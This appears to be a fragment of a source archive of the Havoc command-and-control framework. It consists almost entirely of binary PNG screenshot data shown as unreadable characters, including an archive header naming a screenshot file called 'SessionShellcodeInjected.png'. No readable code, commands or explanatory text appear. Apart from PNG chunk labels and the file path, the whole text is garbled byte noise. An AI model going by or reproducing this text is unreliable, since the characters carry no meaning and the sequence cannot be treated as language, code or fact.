cVS')88y{ãO+7#ɏ_J93Dc y^zR3g^?Ջn(l>ֱ Mmq!yc-cؑ'SW\x9y?rtDDءri={[Z"}1꧟}Ӹqq{>E Nߢ=AT&\v1PH_bOoڼZ%f6Ʋ_?c[: Ru\i~ѕ7<?e|Ma{Y.7! !3gGUB!B!AVe>+e9S*<{-Y~b s.ox%4Mnv!f EX~F/zݿXbJ9WWS @cmͲ[YWLfƅ (umEf9u]k_h!Js%=ʑvtˆ{vb^[bvl IDATz<#݂ Jdݍ(ɪ8߿ubI܄3 ux]~so7 aȭcv>8HSUnmEGB!B!O¤_7uzg[\s#U 2K'=Ғ)˜C[G +DZށhMByhj>I s>I۾'ꊼO;da6n!Gwp JO>V]Q(G['ߛR9Ҧܻ$Gm@ޟ&1 VTe:@!B!B܋A svѫ$Eu\t㚮Y dUYU[S ;^8xWW9^U]<*+V 0ZMUaZU= f2*Bg.9 go(ʠZk 50ZvHy,ѴԜsKgE}0KL["Q5UW,fֽSdǩӥׯį]W޾ˬ9m" (H~rQ{{u\Oۮ|esbW,íc7'hkCGk=J(̿xzڻGtQ7oz͟7TJ#gvihs;q:7@"!b5$rlnݵʚ|{SR;ș8(s̢_v^‰' U|Y(\VnN׮S49JUEyI^~R-m?onm-y9 BېD~xڛtމ2խcgMu G(UY 5z!B!BOBF?4mMYUU|YЪk,l\Ebst`Xb r ܂2/Ke2twϺƯZ{990{ Vmg^QV6l%BIeIf*J2"{s:eYM+D9 d.n'_|cwfݸuHmC}k-SRb ˰V1KW]˭C@1>׫**v}hV\Y3yg_y{۫[N@"ִ꼼R?sdԝH$]f`ykWdQIL<><|TI5գPM`h5|{s;Grn>YX 2iVcen)ZWcĐ4s |$$vVT54:G99խ{#8}"b}O+mZZ4dPj[ǬALs Gg>u[tj&F_E!B!BσN;exb ,T%)-'ZvEDIAji="^8# cYJ "XlK:Od,R&iZliKbnq30Ii1 Msfd][ٻ{CU2]tmߩuUُ*~PkJVo8l08hH׮@C3g_;N"sYkYA,YweqC2ή|cv9ffɿd:#[[S0`+o++k?|=}6| bKcO).[Z*@eKMA e2^;Flj e%o :='oMЫӫrk~`у-ٵp\բך_ǟs?BљEs uQ|'X9p.k'&xwݯՊ*+/oϨ+rc3O>̘WB!B!{9h޹e}<ָ4q/޿įF VVuj8Z$j,m= z-?X>ik za>2.;iGtvUyNQMhQ4w{Hr(fXxj| 1:O*6fǞۭBBO/isWB@ vll*Uu^nvsgБ[*Ģ[).kݺfRC^[औ?+-3wt> Øm#0ueejTgkDRd*mf&Y<pu.h:սl~vi~k/_pXȻtNY L~A}}\ݕaLٱg@UQԫ!B!BA?gZdeQsSRhoǼDqQV-qTC V @ճZ$= NmWx+g6)g1hK =zbe/3:]_oӳWy*3@yVG,=<-E^) |c=t%@fa|%ڒ~K|TCYh.{ITT.sr*IfN@ue%^^F1eYAkmY AQf|٥Cx`JK894md,CSC*KO_Ν:w1MʔZ`UB!B!^|=IfB$%}c^[Q)5eYV,rrGB(h[ظyD܌K^d. V:M 6>Z_?tsg^Nm#^Z񩶦:u3{{`(dPBa&'>b+kH?zȿ@vX i\#9Dj;~2ә *%~!(O5k;i.nAXyxuljG>ޞ;s*Q\]ܹMܜ޾:2oODfaǦ>`>~,Vdv=W(ShV*uJRns/^Ys,]%6]@UZj`o`!C0iN,ԖZ{Xyx$i*T7.:8 y2{@{@NSwf- *ZtꒂY͕-O7(Z$ꬔ")ѓXUg&)*Q窫nƧgo3GFLKݻnJ㭮K=*;+nvҌG /1!ԉ~~^v/y~n*uxkFQźieiEnm[L!~lW)J7qS[vqwkۯUY׭>{ޡ/m` \\2GmuwSoˏ]gs:ӕbիTfzWB!B!#:>ظb-=Z8c9?eYX(ht="}^~qe\"5o=1g_%\gVrta $I$IZ+{nهxn=Y/S ¹'%IA^o+%wg7LRTEI拍)hӴ\4B!B!B睃ړ ğω?}Ocz*J21)r#ޘy,cKr鋎!B!BV=h*J^tEGB!B!п@!B!B!9hB!B!Ba& 84js\}!%_qz_2߾ﱱ ?۾3nZeeՋ!B!B0:ws&@yy.%&IN:߆˞A&M}{|-mH3v?oU,%]?}$b'򥣉 G 9L߾03n\;p] ML8Ыa&-[L4z?}Gcbnq]|س{֬Z o?wv V,gf&ZqG9eV,x:w8vd[&`z3gLnr_B!B!п?GL]Zӥ.]osUT\hAd`NŲlW#1 ;yʬȨAii|AQT>|*2j1xΞvCQoFF 49p DGŞw/2jТ׼8O` _t1=Ձ&?uWW{ ,nͱbz{cϚ G.$YYv֙{Uy(,uP:!B!B%s e-J@ҨTV]vܽǸݥVn.N5r:aS'v=a͘#G9wf#"ž6V>[~qV,_CcunM!۶~{ک5t^=~lH%:::;;;4:C埭~EZΞKҁ(┘x=S^^ J 9y奕U:xmԐ,?xPTz-ٹzJFmx ߱\F2̩q}Z27o1w7׶mn$YrA\߷}n2Vk\MB"訓'cjbZU~wO=gO͵M=!B!B;sC_pL\amGMǍ=ۖ|k#_݅Sz·f/;=m U]"; Dz\dm򭔌ٷn6d'Gʲl3K}?~m痟P'IpQгgT|e>GxjҙOAuO6T"OEџQܻ s'!B!B2%~V#4|GqhӕyS:;{X'gG~9gC'uuu?n/X,toK Q7q\UXe7vgkթ'c;^>ۙp)*In%y tKA4iD($4PJ e)2g['ݞ^k?ｓc͛p!O~Շ]|eU]d?}c&-yG{=oӳ3׭_Z<+.\&~ؽ[*Uv=޾Q<~ӍWz䤓=]uúuC6mߔ,Ju)733377׬Yn˖-/eܸz}7%Mޭu>أ{~ys'};o{NRkԨVL{,_>'//7_A>߅j8je.v鲕C5jT_ӣ/2ؕGy6wBXtc zo0--U6l,]Y^^ڵB7<Ԑgfw~޼3g~Zty*5#0cwMSCwӿ/[rժտXU6n4o¬}}u6ӧz\~ᮻV۷vem:t:oK# V˖--իUMm.Vci'k .h]f&OM {FıB7a/xmeV_e+ |m:LjcN8ᘃ_L [MxZ;|8?wݜ_ձ_}ZUfwX/uSO9q_BⳫVu֩~)338V_oI~M ̙B1뻜őѧjޫxLz׵2lT$esrsrشi󔏧z (5Ѷ?LٲY˔)B򊋆 yu˖-‹/t ?@c˿Y.{p}vBhxA}0:5?m:Cm|M׼ [|7}>w Jۯ; n?BuϯEPL&EEdQQDCm8mڧp¥~XV6/v]f Op_~3fSNn:2 [˯~;[tBUT~G7iݥZ5/(ؚSS{-~:{o.q0жygnS{~bB^^nm>iOr!AO=P?:xő#:;Z}pMZo.mӹxbkq1K,ЉDڃohߡ[!/W\xQ.]&sO?s5{LBreoQG5,\0l9%ޱ% ߃ߢA:]Ӷ6o޼tժVUkD"mߺgϞqc~2YtS^!/ QN=a#.\ƌxwGTٵm^s%-yߟ+Mszu7}l٬}>>G.rʦuM:d'8b:WFKUWTZy{_xߺWlيâEK˅%ZGy䓏OO/OYreo5sN x4kڨǭ;u|ks`{<ҳxs9eC_xt}ݖ-uW9a/k#~fFYY_|ٺe2Y8a‡ ֪קM!~֬Y~~׋|QO6V'v;9fMΤ)YF;ʵ?N];ioSO8S] 9ᄦB:a#Fk \C:hu҉'6mwg}e뻴OZ*vjǺzVC)7L]nn48pNi3g͹vnCʻ>[׽[ǼUիWy/4j1Ńu P2,s(33{ohvvMa޼E}[;U\gk?;ovaSj֬?熥V|Ӎz͛wBH/S&-s1msO\BvY닷YU*o7oe+zS:uj5khCO8I-;^#Jܼys~dV{?0 33#75֬Y.y=͛gϙ?ɇ7lzrK;c5<峂?zKSV>ujoؐ 5wqZnBJ?Zd~6mzO~jU,˿/* UU!v%SㅅɌ2Î7L3dQ'ʋ3D[ J!ի$;v /W6/|u&rG1ak޳ԵWJ\s.XV-++{ }Sk׮TiC#F;#?E*†oxPJǽ{=֭u]vun>~ܐ'=kcsrc z5k=jP!'l][IUTJJ3g9AoL͘1oVZ񏎖x]{ժ%uߘH~:B^k֧V5ƿ{iݺ/xZj뷹vWݴ}.qpW\qcdnٲe⥳gA+̞=/6mTg !$i͚6t!V|Pz&}BXty/|rs.JW[/B^JZZXZGI/;0ORTO/X3K&J\l7bիY٤Q]աk¬YF~hwc?WZl.mef]aǴmsG?K};^B2e:vlNjS̙s{N 79;t !o`n/}Wos?B8)~ !:yٲ-r]z>B(-X;-K~8/Xuk-ľuk7hǟ|B8k#H̜5gYYY!QƷly JKKTq7-mu>/6o޼e!Yd/oڛrr˔)[^]ϰY{>n⸩S,Δmۜ˯oٺ5qffFiÆmXU.enؘ?\vN"8 z{NNvq TXa}iuF_pB diߞGG̙3?338`ﻹxJᯎp%5kVOKKk7>=5άRe.~k6s()MvVV"v!۶9wKl͚&~tʧ7h:{TcN1rwe ;\-[gcgN<-7睖Ql֟;:/|Sg2l=K}5%^3[_=^ kϚoyg֯ďWaaa͚O?ᯎ)q{hϷPϞ7n|hY{ IDATB;c}޴n^/U/5BٲYwޥz~ofϙ_U+XJ>-_|9t2Yb!-ՠ^rNW <ЛndecOj~ի~a^,^sڥ^7iJkڼ7iJfժUna9nR,qpw߽Oޟ>Lap]0jm+)&&Lh jtqXk{a;9{]k3s?y={?\Soۖ-{}˭w5:O7^wJm-u涭75ϵaiC,//]޾O?̾}ypw^^ty]/kӟm{).;v|xՖ_=}ӛxۯ$Ӹsw~CW,//=miiGDݟˏ\xXOs/̭8rιSYF.˲̹,s^*?: Qp}=;wm.7\B""?j<^s__决~i{{o+gnRE?EJ)EQD*H ׯ~2n[x͟~]#OmkD|rSֻrUgozˎE߂X%ǚ'!4"`Qd, Eٰ g}zmpu, EA(2hE ȠX4^ۧv$/{ٶ|Gk]dЛ6;owrʦe?ѝ:׎:XxS~(Re'x|˖OQo>py=Nz:txO'>]s~xgÇDǗ=fn'x_yo ϻ>F rhu"~O^[VYE)G'Q3a-7/ 4quz{jQ0$>#f}mKmБR9Hu|*jN+#3}c`6;v!7,I:\F:iklEث}Z 4u!w؁)nYya$tэ#"H)׻FT5j|pX'h՘# Τi)EK' x'-a1tD^"0:":ݚ|,4E7zɃE1q":"rnNc%Rn9NICHcD=i;i:"F%QeM`!@"=2}3?tWfέwp􍭄?::̠cl ]DJMtbr۱ltLAGCG OFI4ZU<Є'7CihAtg))Hp 1.1[uTAtJQ+&vAtet=.֗nUfЕfh@y%ntf 44wtQc?-B3Q$Džb1K ȠX4 *IENDB`havoc-0.6~git20240910.69ce17c/assets/Screenshots/SessionShellcodeInjected.png000066400000000000000000005364151467014221700265310ustar00rootroot00000000000000PNG  IHDRa5ƨ pHYs+ IDATxu\TY0C4b` ݺkںkw J}8"  3ǏΜ{ <ԲiJK:P5UJ D%9s,c*8Zr1Hϭ,(٦qsIaN|ijť#0r(RΗKMLq爋λ RN7M*l7(<1d|%(W.4o"L%#zv˭O/MϙO +iAq J;3"'ÛDr |:U҂ Vfټ-?oc?e):X9i+L+,851"Ir93yK(!M=9b /,d7 y\!yssYTan#˲D Lߵ0+} )`q)}r|1CD fe2"bxUY4qqޕy,+-7εs^8ￄ1 ~TlYb121 #5Q@T[8,)9n1L{,[sM09ˈer,òp'bYbYbiOÕpXqRb6עbyb8 bEOW2DD =basebLq"b4q)UqA b$B^9^6L1--3K$YbxĊWKeE,J%b̬~Y<O($%%D2yeJ,29ℑ\O? 9wP|?Fz}ԾTsH?*\AP]m(otĹ1|Qտmq W67,K,}?eqޜ0Jl#1 ʱj[Vsf͚(oe999xѣLcc\7'II.9}bnjܸ!g™3fLPSSq_SKczgשUQuR7(Z ._Y \FEȠo,qW8ܮxRPʜZ*lOOlԓ]V7o[lذVMk sϚի7}H$\bޘCdnn:=dgծ st33E*R!0ZfBAQYe\SmCsĹW4/PZwNHHn7_M>l]}}}=a (..޽M팍誳Gx<@DBD+W̫^݊jԨ (EE"~Zh,K׳_%bd|.ڞ$熼0Z ]NͿб_M. 8l2**'ZZDY<.`Y6#3tutkWl7Vd$6ƏKMTn9e-ޜJ;Hx?99rRrD"ݻKu=X '"''vZ`(,-n Ju7ERn%/JDw6KBJQ]MH.xʻ[QkMREGQ~=]}"Hܦ[nmOD.De_@V-.^8vZD;/ؤq޼ufj[a# BdgK c2Y',l,-=?XXhч,lLB(*EW 80ݻv>$Hz߫k׼roFDaaoCB^r-g?q򼶎V??`tXxi/8PC JXbBYdYbKJ,RɈ$ 'l}I7^"A"YxVHUM"t]~Ųd,˲,+Lʸ>H_YUWk-Tϻ8;[2w[w_euMxy̲Ұ݊T] 6Uo5qL6=ݵԯ ax<c1 cbx 3x=ʹC߿olbC,y–Qs^dRSm--5>fM~gNK8F2V`Rce}Fɰiw3W'b$L Db'{^Xqfd|>#|D*}ZGL }:RG ?~]#V~xȬb1 9b_r.~]#uRTQ9b]=R'] 9b_raPu%l1gMRu?ۻ>s}fT Re]۶7v TX3SyC[wzCi]?l-MNەQCKKc7<rxသ7 R6u̟3. RqZ8t{:Pҽfݏ(2Û7oOLDԜ꿐ZiԭSȨcs>'ʔo0v*U*7699r YYoDs XkBCC}s:wrr00\]]mFF Ì9Ǚ%g ǻ];s Ͷm[r۴qxYJJc3w\̟ƒų|/^rMDtzukvk@DO ŝ6mykhh4lX%Eȵ.]8زe<ٷw0ʗ7yRR2˲"QNh^|nߴa)GAVV7mXz')"R8UT\ko]5sB!js;w}%z~OyycBY=Ȑ>Cu5J*RU/^4Ȩ\cND^7=IFwQn'$$ףK#GMOIM]dy3/XMD L?p|ZZMm묬b{kA))im}n=Ǎjjj3 ;wTrw1,J*x|XlߢqP5>_6-NhD|P( #ܹ4knmODnNX,j~ zt8zGXZw' 7m\qނl۷JMM=rX,wϺk׼aF>gW{Nlܰ֯]r#wunLLCDԻW"ڽ謹չlUeXRVw.9zǏGm}u٣SD7lFL-Js܊`ϱs!qq D$JH,_n\ߺ6"۷Cbbh󖽮WެѵwFD^7_%8:6qÿIl-^N:Mxfo#+U477rݾEFE7˛ݹ3iuvQ;74q࡟.XF]]x'cY\i$#lq ,<޿"P_H"{T*-n>9jڟ3իu;ȩ=+c;s灼K]\=n,dX ޼uTM@Q=M7n#\Z6^7CCË?)z)=9Mo6333].Npf' !qZZcm[VQ?|2;|~##Cx sC"07{>DznzzfBBsSKQ("}\jf|>o횜j::Zzz:.[G Wڵmy֝l3k֨eh^4VX>`UR͌嫀7LMV[l_Jo#+CD kn/d̴t.ALDg/^t1b9SOt)ea߯ih?zRkT"PƕZOpVQ#Qyg1*:`"0e&&&6##SWWR%ˈEqm[WD"oFGJ߇ONKK7Z[WRLFѱ=ӧOqprrY:999p9bLW+KMܠpc|"{e+ 1MXDq 8sr.ӷOW>  6k>W* <}]vݻa+VIKK;~w>DEq/XjP/~euϟ07ء]͛ 9þE+Wݸ\Ghjj>mʘk׽3coܸjߵjY6k``Pa=|-j߾B%'xx-7]OOGMMQú5kVxomm: oۨ^xxdnhPΦv:غ熍s*WXJ%WvuQ"$$$rU+WY48qa-հ^|Wϝw޺u7LW0%"3S&!!-7c0PWWgScb}vuuB!wzv{***F]dYw̕iVPaU*97):kl`8Q"2#|a] O_`bffm->7SS?r-]us9|plh\<ygk񇺺aH2?_ԳGG}zw.[A$\=~a"Qv(&&>()FD6<)5/oFDڵ_ C?d鲍#wei{fq̭ׅ'tuN/_&,ʥ]7mҐ455SK`1;qf/޺yR1Co;/^[z *L-EƲl[,˲2G&#V&XV&cY==R~zUT:rxFpf'!Ǐ_Pu CJMM1 x<1<q׾t{soV G B Sa ||?=J7GLDK{?*{爉("2J {Thp:_r.eԚKLVNZ L<@XTvuπCiL"feg=xv5XH Ų9JU 0$ f*\~RWL\lȦs'G%5EWՔC'MY5O|Bҕު(q­V۷CR5n7Ko_y[{yζN~ʕ{x+Y={}qUY(v*Ny '9;{>VUlw\0>~ we೔:^y~$w(elWb`c| e$O9LjhQ]߾trпӱWUc&[[W9c:V쯿ƞ;w}s3\#2667>yo' Yp ˲c {eLfnn0"LDŽizF>:&^A߼RCco>YJ VhpT w719iysǟ8*JUװʭC4ۡù Æ04,w񒇻:wrޞyܽtً|+/ܷOzu?g̘!3zh+H;eWj44D4yʏI /Ƚ:K)]fմȨF6o?=F`J[;6֜"rliץS+}}ݔԏ'OyǺzA?+TyZ5ǐۑ|w,2ہC4Nu#݀54⾸oXVobժ= Oxmp+nqc_wwv2e(bg['!!y]vB?G=z}Q55rQ _}m\SS}5b|ySXJ,kYt![ 7v@.mΝw+Y(5ulw:ώF#Z=ϑ3*׫soo PrEsbY ~};?pU~!b[;67Hi)/oE*ZS,x_iHkGsATc`? |nrR ,TV5s35 ߙ5s~^Ҍ#gan2s=N?~iA*|>ǫ[yFezm @Ç/?29vj?|<11ݥKݜ>}1wކU+satֵ-L Bw,ȥ'ԬQ%$$TuGKYmge 98劕x< lVMTɑg>wTHQܶ"==cҍYFMM՞0i cP9#.[b|ʲ@ eD /xR1U4mTgdZj˧O_｡C=w]P6(g|zrJjikk6mZE"W'ZZ/yVVѶu7U,D;o7oַYJr*yeToRS_ j! me]\}^!VqN-Ѧ=dP!,B`˶!obbյH$˰A:Ҿ}GQZZFZZ8">~LoED teͲBZ6j׮~KӒ,lvF6;vHHL4~BB2}S.Dt,etnu}&hu7;閑,ͲyNK :KIXng^x.?#I,˷;m\7׻de#GϋOHZ֭}F ]uyY"(GFfVÆu-pl"P_df6O::C=o#%H&c 귩Q玭ڵmADB+s1;~ky(D"T&pժU|mTF/d,D]::+WoH2SkID|1~R433^FCrR,))dlTSYU /4 ŋ7ɟ2VFET7/ M]m- =zqHmΟhVpx<K232?o݆,qW6oo/OQ\\)忄OeճGKG<AaR0QYC#W,8*ס,ˆqtƑc9ffF t߻bJ<PwrYY/zp?~Y~6l:]GEEDF5oŇuWYb'5 Jf _tV6+{"Zlv? YxP1#ygp|t;u* HOpps> e&<&M=xFABb+gǥ'$+d 8+T0W#}\IŊI7H)/o"EUVS PToy j5jTJ#-g{N8;e$ Ɔd؄*U*Y %&%<|YnΞ5f2Lac)k^e~ nFKKcD$E"7ACBbJ(奲qepٜ/ʼnĢ+7\6kZ~QQo#> c#.¸k{/]u;d!ժU~>zCǴtٽᣗ'1؉+W(7o创7kߋдҹpCaܽN<}bۂܶy׈>юc]?qҙ6=vL-[O?Z~K69`Ѻg7_{DԠ~'OC,Z-+aC1y]_Kx&cFƫcc]FI;sAZltL*[4$*0 GoK5>};{WFU;\jF@uڷ516Y*Rif 43?-P0F(.|;:vc?&-^|GUu qׯUE !p% :ҹT* MH%O_P|B҃;8rwV`fjx@ Xd yΌ#Ɔ߶F裦ءW׬Ol:}buvxQ:ֺDԢyCᣗ U !̺zXbkk0 ڷ鯹&N^ֺUF6 zzړ&ٻJ|(++k7jXQ:A bR5딽o0e:6Bk=;6%5Ν'ϻcUZa<O]]{i3V).zwǶ?p>{cBMD퀇66=m-[k~rR*U;{bҝeMxeg86p@:|166ԅI%^{x"EFwzozPسP(kEFfO~$J\\>8x!=7#K}}iiD% j{w-?{:$Ϝ>u I}H{V(66qӃv׋eVK͛5:'KNN=~a_K?۹?T m1WRv<},߼H:5=#+ŋ0*,Qf 童$sR*)lTƁӏ|Rfٳ\HQ) Po1Čwr 'N\MNJ#RtS&"bݵ7,,tZYYBC#G)QǖvM#ѵӦ ;yE*vT*mҸӮ2c 6pRXqs~(&>_=' igk?wc,˛xmTu_ns./\I 74o s"Yd[X;@ \]eӴrW ˹[,˲22XL&cYe>WvSp_OO{M*nu\['N^]t9b"?v߽L\޾rtw[ZТE#]m;nۼhի" Ϟ\ WkbҔe3cPj?z6kMxNu_PzQQAA2)ax<&a"br~2|)1(I\>sÄ+ُ2?J9GV&̶2a scYݿs'rzϞO$w\g fyT&cV' ⅓bISU4ce4E~(&6+w>)J%ESScYE-\GDWiPeQ(>sqM~up˵<zջN(6.Iz<OWWԨ^D"ǖvw>.>DVl6==["ru9 0*)֜|eKfr ։bX`ѺOB4(˔X&+RL&RL`•GpO^7UQfV&̶2a 3iظcc}|QJJZ@5re|H$/Zu!uO (APp!Þ8]{75Gmsn9s5Xf&>{*95˕K۴n!CxLvDʱw]?jQ˖nQhۖ*|=ܿmۖA5KD7x<"1'bcUB ?ڶmy.lZb۹6pw :uYn% UH#|W?6ukpyȐ>_mTc6W/{ZSSB+Ce&T(==}5Յ 9e򨙳r4nطO< .)oqrr6FSSؑmNm=C߄3311}ztԥƖ_T͛NNN_&"CruljN_FAᑛ6,9zSuku9<::Y3ٳ&{G:|^%t40w>>Zzqw:9lq@~[*ur8~bwknfbeUժU72X=sKKV͛5{Y@iSlذoYUa37vhjU"#sw :ucpHԮo wX}'))YaJV'0{~& Oכ||o:}1##vǎ}ի0uu_-W?a,/(;Xٳ/ڨA%g=#<r[l:mXSS/^-_92#׮~'Mӧ>lJ.QrE!? )(Z!}t $"5>Iw=,I+) b ̨]۷  =kһw;vlصwl޴y׽Vd`5mٲPsP}qOءɣ 1NmR6l9Rm۵uܹPnN]4CR'3333 jYUt?g.|PBcG?Ђ>?G?'TKK =G+WmZuJ ѱD4?nX,#WN36b۷︖wyvPبP(z*T*ą¯y6Vu >sDԧw׹s& ›7r |5 w>bɓF{u=wv˯_n~랚oÏ<#իnXtʍ~[8a8V=}ҩ@XsB!Rl.ӭu115w#0 O?u2w;&_46l`sU[}v4™*Θ>~DCLf&I)#ȴruHvʪX,!"+-s;wZ1w[Z1ظaJ/6HlURvVvhhxZ-͹\B.S&>cC^RQuSR:9prr:vhsHdjjhg[שSݻC7WRɓ+VnSbIv>ڶ MD-=u O4+Gttm}!OV,͸у{yϘ6v>#V,o.{4߾m=իϪyDTz+O:i{ڹwQoUT;{W IDATb"6b*St(!խHDNmܷ`am]ΛP(ܹWW >| c˖=jȮ]{t=>rz9ٶe&GHa u[Whs&O0##̟a`߹ʕ+ݽ[ae[LM-9y5jVݞԅ}GѴc"+87gͶ<ݽh^w omؙݻw3z0  DuslT_Og?ҳUFhjj]p-3 3繁Y7)f&S& 9urmmM=Kuftuo]ui.w媻_#ۮW=ZG\Z6jjj\1޾}v}Tz6m/^_ 2CTC7oC U(.B 1mTa ;deehs;vh{勇_%8:6zܒ?0+-gw_ ʕKLL"?vX,10762 O_aw޽Z/&&F\+U$"TԒs6m}nxCt+6%+*:5U+U\==|u;wre% xX,ڻWOOGRbZ4 Ye\qo$*:[4iԨD"y:P@?!1YCCqF7oʕP*`XWG{ﾣR׺uk#o%&&{z=~\(Po"O,>|zۿw # U,-˟RRR (a0,{C?,M>!ʪ2w;s}%&%q{A\ "0yk,X[WY9SΙ* ۶9u]fA۳~ȩQQU}d?s۵u  >~תYVܗVZZgu{U55gju'MgLi ̛T(T#9u|;G`C*?{9z " R[b$vc&+ƈ]EDEiRET@+zx"ܡS1|?|>쾛};ݛ7Rľ #=|pwx7w`]]|ٓtf0 ;۽{Mv 45={v#x|55*p~FDݍruqޱc- RV,..=a&LFyo8dw䔙*/O0BSCYdcZZKKnn.ɩ!5'zz\|RJ|ShׯK uQWxD"h6{` ܔ9{{>s@P44,735V455a2X &B&&:j{@(>s_Wꂂos> 9y>>_a24ձScz6y+c'NQUN &|(ssQsT͘CnFڱ~|dKҩ5͛AcG=we2 }ʭxŜ܂"6mDM~ݒWBϛ8Ivv8-G%JOI$tuu~;}Æ]_A c MH|&BЍ'@ ?B1 koUM_8 6?gguuWT*yE?w:lvȑ^h4W@⒜ s󦆆F@zzQ_7v bFFF)ctq451>mP(tvg8d2yI,PSkXpO(o$Ϟj9;čag{IG o3f-)ŊUt: B\޵kW2h4ʦ_Jx?"D:nkoٺ8w F ̷ J@pHS'?}ٳ۝m݃/"99UUL'Oqbp Bquu6u;q!HP\!نKNO{7"ͮH~P(V)pƝЛn߾O ~7'#->?N2[D"GғJ'$$]p׮)gK][7pt8qSz,@s x vA vtvvPjbP4a/55ͅm?5ddd{T ٵqҔBHK5fظ$6u.^c }Mn^,f zvee TUD3@ z&mJGUf%2(T" 3߶:Sd P(kq8Ze/qY,$&<;g _NWzV`8}nrdTt5NO bb<8޴_?{`bbt)Р9,Jw-#:].m%6F ~F!ep0B4h*@ _Ok4%噁y]LJ0 #kcxavo6mf݇tL"pGF-v#@ @ Ŀ6Q;9VBR .]]u<xJ@ @ o}|0@ @ |dY0@ @ @A>b@ g@һ B;^n9[[D&Ƈ+Wu](zBEԔHKK6ҷ89vqZRb9w5L(C {;%h=1>IbM>ѣ[3_YMxO00QS|JID©x⯭@ @|,l Lit-H.(yJؘvJS$b!Xv0B yyQR0swcK'Ʃ(I{( WѵmSTH:$—%O@]¶u9iUJ-ѿ0;QZy[8Ur3rҺ4M\VS^P&}/ MmQ3jW j``bgѡ-_ݯ,j \np.UKXyܴf?/Bk83f7f6[qӞgpIS~huU,]2H$k@ І>bSs#M%RT*!@ ķA(xvS$3w1ͯR*TT22M{fίENnCK2c`:D"uqz;.NI%hC=>Mjt9ϫdd$FAj֫{`#+R:q9B=c}/Ξ*WrVU= xd c#%ѥwk*;zww@Jgr|["CW2"aGƈi.\\ĬC߁OiUur9}yrY5,IY}Z}R 0>oFV@ A>1R9L⛩<_q*bfx}٦4U-K [ JUu͝;W@ >6cj)%eM C91@ ĿL|B.$bUw`}3pOUfKH" ꪍ;f>3a U>.:dj%#K$2!=9X*UJFKJAʯ!T~]ˀB"¯@ 4@tĩ*K%B>0 4DR εUJis*Kct~FL9p_,5VΣ0+\ du "IT_eniͭ2ǫ5ܴ-Eaƍ\84 ]SY`?033epU-L6vD"?ODž]]WZ`kN.su-( )έ2IH!7№h2%2AC$( $cF8 Ɔ4e`܎dHO`lːK50֝bU{z1xnUPK_9_* d4fY.5ATʯ *2^eDM/j AL{*KF!ֈYZzxE"f5筫uL&S ִ|׭M;9t,,,޴eoAAqzO<-666:g`PS]ϻ=pxtL"xxt_ꧭ?[~}{Q7nmG? {E w˭JyOB('ďW@ u` - "]2>w/Nd4WklC Idi;TBkh#X;*xۂ45m01 3p,Ik7.mlhjWQaGC+dej&M;skJ>rYZz[k8[AmU1TWA.?)v3яJOq9Gy 4ZBs$~}eŽ+جK%* }=;(a޿om\Lh\L}[F?7++~c|G6nݽA}_Qش #.urdJX II\_޳k36\h[%=c u.YY?}܄fƞ-lkev 3l z=mibt[餼AqY>Q^Kî[jHxV57\C>pd6%₡P(E_Ȱ;ohl?neKH$شq׬ݶ}Zmm-֦;vw? #VN~~CدFFpԔ]vVU}׮J{sWOyvu5P秦Dw%ݛt|ܩ00دq1mOܟ8,.&tխ[.ϓuwQH:;;m\-- D_Lq.s >[w]yys>ߞ]^9 K>0ys&;;'Ƈ%%yy ܺ=_<P+E\<֢5rpjJwpmx=9ЋF<=N wE6tSA, I wnomV}AD"~&"u! Ι~ک}[co޹}aK6h">#0@8Ǟ3nV Wip'$lAU(Pz|Of9f' 2,$ɖzdƾ%di DzLJ >0.=U2Zv&\5:Nw"Sb1_.7 IDAT[vfˤR"IԷM!VQ_I2MݬK5@!e3~}I䱴F,lDD|gYS^ IId:^WWt}fzrY t .^:J0S@Afܳ>C~_"I9{RWp ӯ_iL@ |vqD" j/oj/ЯH(:IO |F._ijqQi^~-q:'K BA#@ψR-Ek4ˏWer!Ww/>2 Dr .lsZ1?6'!ėp]]in#۪ Ql540A['|ń!U5~^$)7@" MSC䩿Rٍpgg=]^W2?::Z>|yWӣ~8?O}eNh\3:?o]5s򂂢C͚9qޣߺ}/yyZ`Zҭ˩?+\vڰL_#G }i::ڗ/|ἷ^L:~/陠JѣۮkCowrz%@__etyU}=_!;gA?<{R;**@&S9z̙=iQ ֮Y|Ŗ̷9c /N>"`LCv`jbMvZ[O!]]{tȇq3g/떡ç3lW-X~gjjV^^ėNC|7gR,P1&Ɔ66VCvN^}=O&\.zV[+Jss=6Z-1%syyA?FQqtHg?vG܋eMjyst...mCJͭ9vL6~ܰ _ŒlnBm6q]B JV-2D&Ȍ:gD$&"")0a6NBa)j֮/:1K,\N)Trm}+X#g20+5w\OǼJM{TX *v~ eRimUIQVWI3HrYn 5* x5WWt=Sߤ$*ٹu5,(7 SE=1+lq(b}[MLUM/_+4' \ mssiSǎ; h4Wl?MڨrFMw8aDFYӤ$RMM/J=rԺ͌V &$KU>ʏf7^Uћ^wؒ^Np'՛emޡRQũ_p?cƄuk\rtT|M?ssSv|é7̷% \(dHuf\AjXݱmV.xqc*'w{)-n`eo8'$>*hĨaa N.ai)ňD¯{7z ~2éUz;G7'J/RF ~S))d2S[Un@;kiifff t[>} LQ[b;SScgńD) ߸vc% >A4ƮA%%9}ꠢp^=]9r_DJJӽ \|Bt7bnt*_c!G NIIK`$"˝}q1nmm 6GK `(Z.7-55UN0l̉aA\y*< " <<`boD'\MU1Q!oW \n!}ÂRS"GBEÆzx}3g-.6}=[t^]]Q34-6Q5nٴrg.UBՂ,ʤRiPG۷篿Ѹf\.JJGM&(M46˿1ha^H$D2H0R!X>JD[`ѷ $mLDL"Sյ 0]Oi~T"kjY0 S?D,d5e2cb,zƖ&/I T [HPglD  QaW%;50]f1 !s0#K -j^Vkc45mja*hmOܺw  jjd6$`2۵lomE p3-ݰ# g2nݻhjS(ի.kiaaX{k+o/wH:_v?Ο_5 DyYޏpl][H.z,)]T"&j3 A-,%B ?CԿetFQl1"2k%eU1|M;"6`Q ?7`jiiL2BR PSy vӆeZZ$Gs +u#F<{Wi B~ FƆJJzC_9rx;,֜>=ܿR|GvܝwĿ{L;q}Y=rpBBrB3T|3[Q>fĝH&#ǔ1yo2s쌍U`ҭkgWg:ݿ/.Dh9\]^^ۍWTlr5;HWG>u܅kbDWO@_H$nڸl?_Rؾfh+jeeR4.. j-+cyg`LL l}ؾUv- #GϰO_*M7rĠȘԗiR,((̳gb++s7.nt766d0PYU޵kgDVjWVhT7?:::Q{FiW/_xILxvtP~Aѭ;;jv.o' Pعyy BJ&UKXs!ssKA._ }M 